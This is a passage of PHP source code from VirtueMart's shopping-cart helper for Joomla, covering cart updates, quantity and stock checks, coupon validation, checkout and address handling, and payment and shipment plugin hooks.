			$product -> product_available_date = $tmpProduct -> product_available_date;
			$product -> product_availability = $tmpProduct -> product_availability;

			$product -> product_sales = $tmpProduct -> product_sales;
			$product -> product_unit = $tmpProduct -> product_unit;
			$product -> product_packaging = $tmpProduct -> product_packaging;
			$product -> min_order_level = $tmpProduct -> min_order_level;
			$product -> max_order_level = $tmpProduct -> max_order_level;
			$product -> virtuemart_media_id = $tmpProduct -> virtuemart_media_id;
			$product -> step_order_level= $tmpProduct ->step_order_level;

			if(!empty($tmpProduct ->images)) $product->image =  $tmpProduct -> images[0];

			$product -> categories = $tmpProduct -> categories;
			$product -> virtuemart_category_id = $tmpProduct -> virtuemart_category_id;
			$product -> category_name = $tmpProduct -> category_name;

			$product -> link = $tmpProduct -> link;
			$product -> packaging = $tmpProduct -> packaging;

			if (!empty($tmpProduct -> customfieldsCart) ) $product -> customfieldsCart = true; //why do we have this here?


			//Why reloading the product wiht same name $product ?
			// passed all from $tmpProduct and relaoding it second time ????
			// $tmpProduct = $this->getProduct((int) $virtuemart_product_id); seee before !!!
			// $product = $this->getProduct((int) $virtuemart_product_id);
			// Who ever noted that, yes that is exactly right that way, before we have a full object, with all functions
			// of all its parents, we only need the data of the product, so we create a dummy class which contains only the data
			// This is extremly important for performance reasons, else the sessions becomes too big.
			// Check if we have a product
			if ($product) {
				if(!empty( $post['virtuemart_category_id'][$p_key])){
					$virtuemart_category_idPost = (int) $post['virtuemart_category_id'][$p_key];
					$product->virtuemart_category_id = $virtuemart_category_idPost;
				}

				$productKey = $product->virtuemart_product_id;
				//VmConfig::$echoDebug = true;
				//vmdebug('$post["customPrice"] ',$post['customPrice']);
				// INDEX NOT FOUND IN JSON HERE
				// changed name field you know exactly was this is
				if (isset($post['customPrice'])) {

					$product->customPrices = $post['customPrice'];
					if (isset($post['customPlugin'])){

						//if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php');

						if(!is_array($post['customPlugin'])){
							$customPlugins = (array)	$post['customPlugin'];
						} else {
							$customPlugins = $post['customPlugin'];
						}

						foreach($customPlugins as &$customPlugin){
							if(is_array($customPlugin)){
								foreach($customPlugin as &$customParams){
									if(is_array($customParams)){
										foreach($customParams as &$customParam){
											/* the plugin returned an array of values */
											if(is_array($customParam)){
												foreach ($customParam as &$customParamItem) {
													$value = JComponentHelper::filterText($customParamItem);
													$value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()...
													$value = trim(str_replace('"', ' ', $value),"'") ;
													$customParamItem = (string)preg_replace('#^\'#si','',$value);
												}
											} else {
												$value = JComponentHelper::filterText($customParam);
												$value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()...
												$value = trim(str_replace('"', ' ', $value),"'") ;
												$customParam = (string)preg_replace('#^\'#si','',$value);
											}
											//$value = vmFilter::hl( $customPl,array('deny_attribute'=>'*'));
											//to strong
											/* $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags  */
											//lets use instead

										}
									}
								}
							}
						}

						$product->customPlugin = json_encode($customPlugins);

					}

					$productKey .= '::';

					foreach ($product->customPrices as $customPrice) {
						$found = false;
						foreach ($customPrice as $customId => $custom_fieldId) {
							vmdebug('The $customId => $custom_fieldId '.$productKey,$customId,$custom_fieldId);
							//MarkerVarMods
							if ( is_array($custom_fieldId) ) {
								foreach ($custom_fieldId as $userfieldId => $userfield) {
									//$productKey .= (int)$customId . ':' . (int)$userfieldId . ';';
									//$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';';
									foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){
										if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){
											$keys= array_keys($customfieldsCart->options);
											foreach( $keys as $virtuemart_customfield_id){
												if($virtuemart_customfield_id==$custom_fieldId){
													$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';';
													unset($tmpProduct -> customfieldsCart[$k]);
													$found = true;
												}
											}
										} else {
											if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){
												$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';';
												unset($tmpProduct -> customfieldsCart[$k]);
												$found = true;
											}
										}
									}
								}
							} else {
								//TODO productCartId
								foreach($tmpProduct -> customfieldsCart as $k => $customfieldsCart){
									if(isset($customfieldsCart->options) and is_array($customfieldsCart->options)){
										$keys= array_keys($customfieldsCart->options);
										foreach( $keys as $virtuemart_customfield_id){
											if($virtuemart_customfield_id==$custom_fieldId){
												$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';';
												unset($tmpProduct -> customfieldsCart[$k]);
												$found = true;
											}
										}
									} else {
										if($customfieldsCart->virtuemart_customfield_id==$custom_fieldId){
											$productKey .= (int)$custom_fieldId . ':' .(int)$customId . ';';
											unset($tmpProduct -> customfieldsCart[$k]);
											$found = true;
										}
									}
								}
							}

							if(!$found){

								foreach($tmpProduct -> customfieldsCart as $k => $cfCart){
									if($cfCart->field_type=='E'){
										$productKey .= (int)$cfCart->virtuemart_customfield_id . ':' . (int)  $cfCart->virtuemart_custom_id . ';';
										vmdebug('The $product->customPrice as $customId => $custom_fieldId '.$productKey,$cfCart);
										$found = true;
									}
								}

								if(!$found){
									vmdebug('Cart variant was not found and no fallback found',$tmpProduct -> customfieldsCart,$customfieldsCart);
									vmError('Cart variant was not found and no fallback found');
								}
							}
						}
					}

				}

				// Add in the quantity in case the customfield plugins need it
				$product->quantity = (int)$quantityPost;


				if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php');
				JPluginHelper::importPlugin('vmcustom');
				$dispatcher = JDispatcher::getInstance();
				// on returning false the product have not to be added to cart
				$addToCartReturnValues = $dispatcher->trigger('plgVmOnAddToCart',array(&$product));
 			    foreach ($addToCartReturnValues as $returnValue) {
						if ( $returnValue === false )
							continue 2;
					}


				if (array_key_exists($productKey, $this->products) && (empty($product->customPlugin)) ) {

					$errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_UPDATED');
					$totalQuantity = $this->products[$productKey]->quantity+ $quantityPost;
					if ($this->checkForQuantities($product,$totalQuantity ,$errorMsg)) {
						$this->products[$productKey]->quantity = $totalQuantity;

					} else {

						continue;
					}
				}  else {
					if ( !empty($product->customPlugin)) {
						$productKey .= count($this->products);

					}
					if ($this->checkForQuantities($product, $quantityPost,$errorMsg)) {
						$this->products[$productKey] = $product;
						$product->quantity = $quantityPost;

						//$mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_PRODUCT_ADDED'));
					} else {
						// $errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK');
						continue;
					}
				}
				$success = true;
			} else {
				$mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND', false));
				return false;
			}
		}
		if ($success== false) return false ;
		// End Iteration through Prod id's
		$this->setCartIntoSession();
		return $products;
	}

	/**
	 * Remove a product from the cart
	 *
	 * @author RolandD
	 * @param array $cart_id the cart IDs to remove from the cart
	 * @access public
	 */
	public function removeProductCart($prod_id=0) {
		// Check for cart IDs
		if (empty($prod_id))
		$prod_id = JRequest::getVar('cart_virtuemart_product_id');
		unset($this->products[$prod_id]);
		if(isset($this->cartProductsData[$prod_id])){
			// hook for plugin action "remove from cart"
			if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php');
			JPluginHelper::importPlugin('vmcustom');
			$dispatcher = JDispatcher::getInstance();
			$addToCartReturnValues = $dispatcher->trigger('plgVmOnRemoveFromCart',array($this,$prod_id));
			unset($this->cartProductsData[$prod_id]);
		}
		$this->setCartIntoSession();
		return true;
	}

	/**
	 * Update a product in the cart
	 *
	 * @author Max Milbers
	 * @param array $cart_id the cart IDs to remove from the cart
	 * @access public
	 */
	public function updateProductCart($cart_virtuemart_product_id=0,$quantity = null) {

		if (empty($cart_virtuemart_product_id)) $cart_virtuemart_product_id = vRequest::getString('cart_virtuemart_product_id');
		if ($quantity === null) $quantity = vRequest::getInt('quantity');

		$updated = false;
		if (array_key_exists($cart_virtuemart_product_id, $this->products)) {
			if (!empty($quantity)) {
				if ($this->checkForQuantities($this->products[$cart_virtuemart_product_id], $quantity)) {
					$this->products[$cart_virtuemart_product_id]->quantity = $quantity;
					$updated = true;
				}
			} else {
				//Todo when quantity is 0,  the product should be removed, maybe necessary to gather in array and execute delete func
				unset($this->products[$cart_virtuemart_product_id]);
				$updated = true;
			}
			// Save the cart
			$this->setCartIntoSession();
		}


		if ($updated)
		return true;
		else
		return false;
	}


	/**
	* Get the category ID from a product ID
	*
	* @author RolandD, Patrick Kohl
	* @access public
	* @return mixed if found the category ID else null
	*/
	public function getCardCategoryId($virtuemart_product_id) {
		$db = JFactory::getDBO();
		$q = 'SELECT `virtuemart_category_id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = ' . (int) $virtuemart_product_id . ' LIMIT 1';
		$db->setQuery($q);
		return $db->loadResult();
	}

	/** Checks if the quantity is correct
	 *
	 * @author Max Milbers
	 */
	private function checkForQuantities($product, &$quantity=0,&$errorMsg ='') {

		$stockhandle = VmConfig::get('stockhandle','none');
		// Check for a valid quantity
		if (!is_numeric( $quantity)) {
			$errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false);
			//			$this->_error[] = 'Quantity was not a number';
			$this->setError($errorMsg);
			vmInfo($errorMsg,$product->product_name);
			return false;
		}
		// Check for negative quantity
		if ($quantity < 1) {
			//			$this->_error[] = 'Quantity under zero';
			$errorMsg = JText::_('COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY', false);
			$this->setError($errorMsg);
			vmInfo($errorMsg,$product->product_name);
			return false;
		}

		// update the stock info from the database
		$product_model = VmModel::getModel('product');
		$product = $product_model->getProduct($product->virtuemart_product_id);

		// Check to see if checking stock quantity
		if ($stockhandle!='none' && $stockhandle!='risetime') {

			$productsleft = $product->product_in_stock - $product->product_ordered;
			// TODO $productsleft = $product->product_in_stock - $product->product_ordered - $quantityincart ;
			if ($quantity > $productsleft ){
				if($productsleft>0 and $stockhandle=='disableadd'){
					$quantity = $productsleft;
					$errorMsg = JText::sprintf('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY',$quantity);
					$this->setError($errorMsg);
					vmInfo($errorMsg.' '.$product->product_name);
					// $mainframe->enqueueMessage($errorMsg);
				} else {
					$errorMsg = JText::_('COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK');
					$this->setError($errorMsg); // Private error retrieved with getError is used only by addJS, so only the latest is fine
					// todo better key string
					vmInfo($errorMsg. ' '.$product->product_name);
					// $mainframe->enqueueMessage($errorMsg);
					return false;
				}
			}
		}

		// Check for the minimum and maximum quantities
		$min = $product->min_order_level;
		if ($min != 0 && $quantity < $min) {
			$errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MIN_ORDER', $min);
			$this->setError($errorMsg);
			vmInfo($errorMsg,$product->product_name);
			return false;
		}

		$max = $product->max_order_level;
		if ($max != 0 && $quantity > $max) {
			$errorMsg = JText::sprintf('COM_VIRTUEMART_CART_MAX_ORDER', $max);
			$this->setError($errorMsg);
			vmInfo($errorMsg,$product->product_name);
			return false;
		}

		$step = $product->step_order_level;
		if ($step != 0 && ($quantity%$step)!= 0) {
			$errorMsg = JText::sprintf('COM_VIRTUEMART_CART_STEP_ORDER', $step);
			$this->setError($errorMsg);
			vmInfo($errorMsg,$product->product_name);
			return false;
		}
		return true;
	}


	/**
	 * Validate the coupon code. If ok,. set it in the cart
	 * @param string $coupon_code Coupon code as entered by the user
	 * @author Oscar van Eijk
	 * TODO Change the coupon total/used in DB ?
	 * @access public
	 * @return string On error the message text, otherwise an empty string
	 */
	public function setCouponCode($coupon_code) {
		if(empty($coupon_code)) return false;
		if (!class_exists('CouponHelper')) {
			require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php');
		}
		if(!isset($this->pricesUnformatted['salesPrice'])){
			$this->getCartPrices();
		}

		if(!in_array($coupon_code,$this->_triesValidateCoupon)){
			$this->_triesValidateCoupon[] = $coupon_code;
		}

		if(count($this->_triesValidateCoupon)<8){
			$msg = CouponHelper::ValidateCouponCode($coupon_code, $this->pricesUnformatted['salesPrice']);;
		} else{
			$msg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES');
		}

		if (!empty($msg)) {
			$this->couponCode = '';
			$this->_dataValidated = false;
			$this->_blockConfirm = true;
			$this->getCartPrices();
			$this->setCartIntoSession();
			return $msg;
		}
		$this->couponCode = $coupon_code;
		$this->setCartIntoSession();
		return JText::_('COM_VIRTUEMART_CART_COUPON_VALID');

	}

	/**
	 * Check the selected shipment data and store the info in the cart
	 * @param integer $shipment_id Shipment ID taken from the form data
	 * @author Oscar van Eijk
	 */
	public function setShipment($shipment_id) {

	    $this->virtuemart_shipmentmethod_id = $shipment_id;
	    $this->setCartIntoSession();

	}

	public function setPaymentMethod($virtuemart_paymentmethod_id) {
		$this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id;
		$this->setCartIntoSession();
	}

	function confirmDone() {

		$this->checkoutData();
		if ($this->_dataValidated) {
			$this->_confirmDone = true;
			$this->confirmedOrder();
		} else {
			$mainframe = JFactory::getApplication();
			$mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID'));
		}
	}

	function checkout($redirect=true) {

		$this->checkoutData($redirect);

		if ($this->_dataValidated && $redirect) {
			$mainframe = JFactory::getApplication();
			$mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE), JText::_('COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER'));
		}

	}

	private function redirecter($relUrl,$redirectMsg){

		$this->_dataValidated = false;
		$app = JFactory::getApplication();
		if($this->_redirect and !$this->_redirect_disabled){

			$this->setCartIntoSession();
			//This is an internal redirect, therefore $this->useXHTML is always false
			$app->redirect(JRoute::_($relUrl,false,$this->useSSL), $redirectMsg);
			return false;
		} else {
			$this->_inCheckOut = false;
			$this->setCartIntoSession();
			return false;
		}
	}

	public function getFilterCustomerComment(){

		$this->customer_comment = JRequest::getVar('customer_comment', $this->customer_comment);
		// no HTML TAGS but permit all alphabet
		$value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$this->customer_comment);//remove all html tags
		$value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()...
		$value = trim(str_replace('"', ' ', $value),"'") ;
		$this->customer_comment = (string)preg_replace('#^\'#si','',$value);//replace ' at start
	}

	private function checkoutData($redirect = true) {

		$this->_redirect = $redirect;
		$this->_inCheckOut = true;
		$this->setCartIntoSession();
		$this->tosAccepted = JRequest::getInt('tosAccepted', $this->tosAccepted);
		$this->STsameAsBT = JRequest::getInt('STsameAsBT', $this->STsameAsBT);
		$this->order_language = JRequest::getVar('order_language', $this->order_language);
		$this->getFilterCustomerComment();


		$this->cartData = $this->prepareCartData();
		$this->prepareCartPrice();

		if (count($this->products) == 0) {
			return $this->redirecter('index.php?option=com_virtuemart', JText::_('COM_VIRTUEMART_CART_NO_PRODUCT'));
		} else {
			foreach ($this->products as $product) {
				$redirectMsg = $this->checkForQuantities($product, $product->quantity);
				if (!$redirectMsg) {
					return $this->redirecter('index.php?option=com_virtuemart&view=cart', $redirectMsg);
				}
			}
		}

		// Check if a minimun purchase value is set
		if (($redirectMsg = $this->checkPurchaseValue()) != null) {
			return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg);
		}

		$validUserDataBT = self::validateUserData();

		if(!isset($this->tosAccepted)){
			$userFieldsModel = VmModel::getModel('Userfields');
			$agreed = $userFieldsModel->getUserfield('agreed','name');
			$this->tosAccepted = $agreed->default;
		}
		if (empty($this->tosAccepted)) {

			$userFieldsModel = VmModel::getModel('Userfields');
			$agreed = $userFieldsModel->getUserfield('agreed','name');

			if(empty($this->tosAccepted) and !empty($agreed->required) and $validUserDataBT!==-1){
				$redirectMsg = null;// JText::_('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS');
				$this->tosAccepted = false;
				vmInfo('COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS','COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS');
				return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg);
			}
		}

		if ($validUserDataBT!==true) {	//Important, we can have as result -1,false and true.
			return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , '');
		}

		if($this->STsameAsBT!==0){
			if($this->_confirmDone){
				$this->ST = $this->BT;
			} else {
				$this->ST = 0;
			}

		} else {
			if (($this->selected_shipto = JRequest::getVar('shipto', null)) !== null) {
				JModel::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'models');
				$userModel = JModel::getInstance('user', 'VirtueMartModel');
				$stData = $userModel->getUserAddressList(0, 'ST', $this->selected_shipto);
				$stData = get_object_vars($stData[0]);
				if($this->validateUserData('ST', $stData)!=-1 and $this->validateUserData('ST', $stData)>0){
					$this->ST = $stData;
				}
			}
			//Only when there is an ST data, test if all necessary fields are filled
			$validUserDataST = self::validateUserData('ST');
			if ($validUserDataST!==true) {
				return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=ST' , '');
			}

		}

		if(VmConfig::get('oncheckout_only_registered',0)) {
			$currentUser = JFactory::getUser();
			if(empty($currentUser->id)){
				$redirectMsg = JText::_('COM_VIRTUEMART_CART_ONLY_REGISTERED');
				return $this->redirecter('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT' , $redirectMsg);
			}
		}

		//vmdebug('ValidateCouponCode ValidateCouponCode ValidateCouponCode',$this->couponCode);
		// Test Coupon
		if (!empty($this->couponCode)) {
			//$prices = $this->getCartPrices();
			if (!class_exists('CouponHelper')) {
				require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php');
			}
			if(!in_array($this->couponCode,$this->_triesValidateCoupon)){
				$this->_triesValidateCoupon[] = $this->couponCode;
			}
			if(count($this->_triesValidateCoupon)<8){
				$redirectMsg = CouponHelper::ValidateCouponCode($this->couponCode, $this->pricesUnformatted['salesPrice']);
			} else{
				$redirectMsg = JText::_('COM_VIRTUEMART_CART_COUPON_TOO_MANY_TRIES');
			}

			if (!empty($redirectMsg)) {
				$this->couponCode = '';
				$this->getCartPrices();
				$this->setCartIntoSession();
				return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg);
			}
		}
		$redirectMsg = '';

		//Test Shipment and show shipment plugin
		if (empty($this->virtuemart_shipmentmethod_id)) {
			return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg);
		} else if ($this->virtuemart_shipmentmethod_id != JRequest::getInt('virtuemart_shipmentmethod_id', $this->virtuemart_shipmentmethod_id)) {
			$obj = new VirtueMartControllerCart();
			$obj->setshipment();
			return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg);
		} else {
			if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');
			JPluginHelper::importPlugin('vmshipment');
			//Add a hook here for other shipment methods, checking the data of the choosed plugin
			$dispatcher = JDispatcher::getInstance();
			$retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataShipment', array(  $this));
			//vmdebug('plgVmOnCheckoutCheckDataShipment CART', $retValues);
			foreach ($retValues as $retVal) {
				if ($retVal === true) {
					break; // Plugin completed succesfull; nothing else to do
				} elseif ($retVal === false) {
					// Missing data, ask for it (again)
					return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=edit_shipment' , $redirectMsg);
					// 	NOTE: inactive plugins will always return null, so that value cannot be used for anything else!
				}
			}
		}

		//Test Payment and show payment plugin
		if($this->pricesUnformatted['salesPrice']>0.0){
			if (empty($this->virtuemart_paymentmethod_id)) {
				return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg);
			} else if ($this->virtuemart_paymentmethod_id != JRequest::getInt('virtuemart_paymentmethod_id', $this->virtuemart_paymentmethod_id)) {
				$obj = new VirtueMartControllerCart();
				$obj->setpayment();
				return $this->redirecter('index.php?option=com_virtuemart&view=cart' , $redirectMsg);
			} else {
				if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php');
				JPluginHelper::importPlugin('vmpayment');
				//Add a hook here for other payment methods, checking the data of the choosed plugin
				$dispatcher = JDispatcher::getInstance();
				$retValues = $dispatcher->trigger('plgVmOnCheckoutCheckDataPayment', array( $this));

				foreach ($retValues as $retVal) {
					if ($retVal === true) {
						break; // Plugin completed succesful; nothing else to do
					} elseif ($retVal === false) {
						// Missing data, ask for it (again)
						return $this->redirecter('index.php?option=com_virtuemart&view=cart&task=editpayment' , $redirectMsg);
						// 	NOTE: inactive plugins will always return null, so that value cannot be used for anything else!
					}
				}
			}
		}


		//Show cart and checkout data overview
		$this->_inCheckOut = false;

		if($this->_blockConfirm){
			$this->_dataValidated = false;
			return $this->redirecter('index.php?option=com_virtuemart&view=cart','');
		} else {

			$this->_dataValidated = true;
			$this->setCartIntoSession();
			return true;
		}

	}

	/**
	 * Check if a minimum purchase value for this order has been set, and if so, if the current
	 * value is equal or hight than that value.
	 * @author Oscar van Eijk
	 * @return An error message when a minimum value was set that was not eached, null otherwise
	 */
	private function checkPurchaseValue() {

		$vendor = VmModel::getModel('vendor');
		$vendor->setId($this->vendorId);
		$store = $vendor->getVendor();
		if ($store->vendor_min_pov > 0) {
			$prices = $this->getCartPrices();
			if ($prices['salesPrice'] < $store->vendor_min_pov) {
				if (!class_exists('CurrencyDisplay'))
				require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
				$currency = CurrencyDisplay::getInstance();
				return JText::sprintf('COM_VIRTUEMART_CART_MIN_PURCHASE', $currency->priceDisplay($store->vendor_min_pov));
			}
		}
		return null;
	}

	/**
	 * Test userdata if valid
	 *
	 * @author Max Milbers
	 * @param String if BT or ST
	 * @param Object If given, an object with data address data that must be formatted to an array
	 * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after
	 */
	private function validateUserData($type='BT', $obj = null) {

		if(empty($obj)){
			$obj = $this->{$type};
		}

		$usersModel = VmModel::getModel('user');

		return $usersModel->validateUserData($obj,$type);

	}

	/**
	 * This function is called, when the order is confirmed by the shopper.
	 *
	 * Here are the last checks done by payment plugins.
	 * The mails are created and send to vendor and shopper
	 * will show the orderdone page (thank you page)
	 *
	 */
	 function confirmedOrder() {

		//Just to prevent direct call
		if ($this->_dataValidated && $this->_confirmDone) {

			$orderModel = VmModel::getModel('orders');

			if (($orderID = $orderModel->createOrderFromCart($this)) === false) {
				$mainframe = JFactory::getApplication();
				JError::raiseWarning(500, 'No order created '.$orderModel->getError());
				$mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE) );
			}
			$this->virtuemart_order_id = $orderID;
			//$order= $orderModel->getOrder($orderID);
            $orderDetails = $orderModel ->getMyOrderDetails($orderID);

            if(!$orderDetails or empty($orderDetails['details'])){
                echo JText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND');
                return;
            }

			$dispatcher = JDispatcher::getInstance();

			JPluginHelper::importPlugin('vmcalculation');
			JPluginHelper::importPlugin('vmcustom');
			JPluginHelper::importPlugin('vmshipment');
			JPluginHelper::importPlugin('vmpayment');

			$returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($this, $orderDetails));
			// may be redirect is done by the payment plugin (eg: paypal)
			// if payment plugin echos a form, false = nothing happen, true= echo form ,
			// 1 = cart should be emptied, 0 cart should not be emptied
			return $orderID;

		}
		return NULL;

	}

	/**
	 * emptyCart: Used for payment handling.
	 *
	 * @author Valerie Cartan Isaksen
	 *
	 */
	public function emptyCart(){

		self::emptyCartValues($this);

		$this->setCartIntoSession();
	}


	/**
	 * emptyCart: Used for payment handling.
	 *
	 * @author Valerie Cartan Isaksen
	 *
	 */
	static public function emptyCartValues($cart){

		//We delete the old stuff
		$cart->products = array();
		$cart->_inCheckOut = false;
		$cart->_dataValidated = false;
		$cart->_confirmDone = false;
		$cart->customer_comment = '';
		$cart->couponCode = '';
		$cart->order_language = '';
		$cart->tosAccepted = null;
		$cart->virtuemart_shipmentmethod_id = 0; //OSP 2012-03-14
		$cart->virtuemart_paymentmethod_id = 0;
		$cart->order_number=null;
		$cart->pricesUnformatted = null;
		$cart->cartData = null;
	}

	function saveAddressInCart($data, $type, $putIntoSession = true) {

		//vmdebug('email $data',$data['email']);
		// VirtueMartModelUserfields::getUserFields() won't work
		if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' );
		$userFieldsModel = VmModel::getModel('userfields');
		$prefix = '';

		$prepareUserFields = $userFieldsModel->getUserFieldsFor('cart',$type);

		if(!is_array($data)){
			$data = get_object_vars($data);
		}
		//STaddress may be obsolete
		if ($type == 'STaddress' || $type =='ST') {
			$prefix = 'shipto_';
			$this->STsameAsBT = 0;
		} else { // BT
			if(!empty($data['agreed'])){
				$this->tosAccepted = $data['agreed'];
			}

			if(empty($data['email'])){
				$jUser = JFactory::getUser();
				$address['email'] = $jUser->email;
				//vmdebug('email was empty',$address['email']);
			}
		}

		$address = array();
		foreach ($prepareUserFields as $fld) {
			if(!empty($fld->name)){
				$name = $fld->name;
				/*if($fld->readonly){
					vmdebug(' saveAddressInCart ',$data[$prefix.$name]);
				}*/

				if(!empty($data[$prefix.$name])){
					$address[$name] = $data[$prefix.$name];
				} else {
					if($fld->required and isset($this->{$type}[$name])){	//Why we have this fallback to the already stored value?
						$address[$name] = $this->{$type}[$name];
					} else {
						vmdebug('saveAddressInCart empty value for $name='.$name);
						$address[$name] = '';
					}
				}
			}
		}

		//dont store passwords in the session
		unset($address['password']);
		unset($address['password2']);

		$this->{$type} = $address;

		if($putIntoSession){
			$this->setCartIntoSession();
		}

	}

	/*
	 * CheckAutomaticSelectedShipment
	* If only one shipment is available for this amount, then automatically select it
	*
	* @author Valérie Isaksen
	*/
	function CheckAutomaticSelectedShipment($cart_prices, $checkAutomaticSelected ) {


		if (!$checkAutomaticSelected or count($this->products) == 0 or  VmConfig::get('automatic_shipment','1')!='1') {
			return false;
		}

		$nbShipment = 0;
		$virtuemart_shipmentmethod_id = 0;
		if (!class_exists('vmPSPlugin')) {
			require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');
		}
		JPluginHelper::importPlugin('vmshipment');
		$shipCounter=0;
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedShipment', array(  $this,$cart_prices, &$shipCounter));

		foreach ($returnValues as $returnValue) {
			if ( isset($returnValue )) {
				$nbShipment ++;
				if ($returnValue) $virtuemart_shipmentmethod_id = $returnValue;
			}
		}
		if ($nbShipment==1 && $virtuemart_shipmentmethod_id) {
			$this->virtuemart_shipmentmethod_id = $virtuemart_shipmentmethod_id;
			$this->automaticSelectedShipment=true;
			$this->setCartIntoSession();
			return true;
		} else {
			if($this->automaticSelectedShipment){
				$this->virtuemart_shipmentmethod_id = 0;
				$this->automaticSelectedShipment=false;
				$this->setCartIntoSession();
			}
			return false;
		}

	}

	/*
	 * CheckAutomaticSelectedPayment
	* If only one payment is available for this amount, then automatically select it
	*
	* @author Valérie Isaksen
	*/
	function CheckAutomaticSelectedPayment($cart_prices,  $checkAutomaticSelected=true) {

		$nbPayment = 0;
		$virtuemart_paymentmethod_id=0;

		if ($checkAutomaticSelected and VmConfig::get('automatic_payment','1')=='1' ) {
			if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php');
			JPluginHelper::importPlugin('vmpayment');
			$dispatcher = JDispatcher::getInstance();
			$paymentCounter=0;
			$returnValues = $dispatcher->trigger('plgVmOnCheckAutomaticSelectedPayment', array( $this, $cart_prices, &$paymentCounter));
			foreach ($returnValues as $returnValue) {
				if ( isset($returnValue )) {
					$nbPayment++;
					if($returnValue) $virtuemart_paymentmethod_id = $returnValue;
				}
			}
			if ($nbPayment==1 && $virtuemart_paymentmethod_id) {
				$this->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id;
				$this->automaticSelectedPayment=true;
				$this->setCartIntoSession();
				return true;
			} else {
				if($this->automaticSelectedPayment){
					$this->virtuemart_paymentmethod_id = 0;
					$this->automaticSelectedPayment=false;
					$this->setCartIntoSession();
				}

				return false;
			}
		} else {
			return false;
		}

	}

	/*
	 * CheckShipmentIsValid:
	* check if the selected shipment is still valid for this new cart
	*
	* @author Valerie Isaksen
	*/
	function CheckShipmentIsValid() {
		if ($this->virtuemart_shipmentmethod_id===0)
		return;
		$shipmentValid = false;
		if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');

		JPluginHelper::importPlugin('vmshipment');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmOnCheckShipmentIsValid', array( $this));
		foreach ($returnValues as $returnValue) {
			$shipmentValid += $returnValue;
		}
		if (!$shipmentValid) {
			$this->virtuemart_shipmentmethod_id = 0;
			$this->setCartIntoSession();
		}
	}



	/*
	 * Prepare the datas for cart/mail views
	* set product, price, user, adress and vendor as Object
	* @author Patrick Kohl
	* @author Valerie Isaksen
	*/
	function prepareCartViewData(){

		// Get the products for the cart
		$this->prepareAddressDataInCart();

		$this->prepareCartPrice( ) ;
		$this->cartData = $this->prepareCartData();
		$this->prepareVendor();

	}

	/**
	 * prepare display of cart
	 *
